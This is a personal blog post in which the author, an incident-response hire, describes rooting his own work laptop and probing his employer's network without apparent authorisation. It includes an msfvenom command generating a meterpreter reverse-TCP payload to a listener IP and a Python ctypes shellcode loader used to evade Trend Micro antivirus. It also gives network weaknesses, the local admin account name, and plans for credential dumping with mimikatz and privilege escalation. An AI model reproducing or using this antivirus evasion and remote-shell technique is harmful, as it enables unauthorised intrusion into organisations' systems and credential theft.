Rooting my Work Laptop
It’s not that I don’t like my job; I just find it painfully political, and full of god awful red tape. I was brought on to spear-head Incident Response as some Senior, but alas, I have no power, pull, or influence. Now, I suppose I could wait, bide my time, and hope that slowly, I’ll gain their trust and be able to my job the right way, but I really don’t have the patience for that. Besides, I have a much better opportunity waiting for me (I only hope the on-boarding process goes as smooth as I’d like to).
Anyway… In the few weeks that I was there ( I started the short week of thanksgiving) , I began poking around the network and found some significant vulnerabilities. For one, they use Trend Micro, and Trend Micro is notorious for being a shitty AV solution. A couple of years ago (2013), you could get around it simply by encoding your payload with shikata_ga_nai. They’ve upped their defenses and signatures, but Trend still sucks IMHO.
Anyway, the network of the enterprise is completely flat, in that reachability is all but 90% or above throughout the network from anywhere on the network. Systems are mostly Windows based and client side vulnerabilities aren’t patched on a consistent basis. Egress policy is a deny all with exceptions. Up until last Friday, outbound FTP was allowed. Proxy communication configuration is flawed as it doesn’t require credentials, just for requests to be pointed at the proxy. Inbound email allows HTML to be rendered in the Outlook client, which makes Phishing extremely easy.
The workstations themselves are standard Windows 7 builds with TM installed. The local admin user is “Desktop”. This should work on all workstations throughout the network. My first task is to get the password for the Desktop account. Naturally, I searched the local file system and the network shares for files containing the word ‘password’. Results were inconclusive.
I needed to root the box, so I went to MSF to generate a reverse shell payload. I tried a couple of different encoded payloads. Even after using a combo of three different encoders, TM was still blocking the payload once it was dropped to the disk. I reverted back to my favorite tool/language python, and used a trick that Justin Sietz taught me in GHP: ctypes to execute shellcode.
After dumping meterpreter shellcodeusing msfvenom:
$ msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.108 LPORT=4434 -f py
I wrote a python script to invoke WindowsAPI calls that would allocate virtual memory, lock the address space into physical memory in order to provide a pointer to the base address of the address space, and create a thread so the shellcode can be executed. (Thanks JS):
shellcode1 = bytearray("<shellcode>")
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)),ctypes.c_int(0x3000),ctypes.c_int(0x40))
buf = (ctypes.c_char * len(shellcode1)).from_buffer(shellcode1)
ht = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),ctypes.c_int(0),ctypes.c_int(ptr),ctypes.c_int(0),ctypes.c_int(0),ctypes.pointer(ctypes.c_int(0)))
As a standalone Python script, it works like a charm and a meterpreter shell is spawned. Running it from my work laptop succeeds without alarming that pesky TM service. Good deal. :D
But there’s a problem. Windows 7 and above doesn’t let you use getsystem to escalate privileges. I have to find other ways around that to dumphashes. My options are to run mimikatz, download wce.exe (or upload it), or steal application passwords and hope they’re used more than once.
Off the network and in the home lab, I don’t have the luxury of testing stolen tokens, so I’ll save that for Monday morning.
When you have access to a box via a meterperter shell and you’re looking for a way to escalate privileges, look to the local applications installed. ‘getsystem’ should be the first command ran. Meterpreter will try all three methods to get system access, but newer operating systems fail (Win7+) trying this. The next step is to enumerate installed applications. This can be done with a wmic command:
$ wmic product get name
It takes a minute to generate the list, but it’s worth it. Use it to find a vulnerable application to escalate privileges. Initially, focus on the big targets (Adobe, Java, IE, FF) and work backwards. There may be a way to quickly cross-reference this list with an exploit database to quickly identify potential targets.
I’ve hit a soft road-block, but I ain’t worried about it. It’ll come to me, it always does.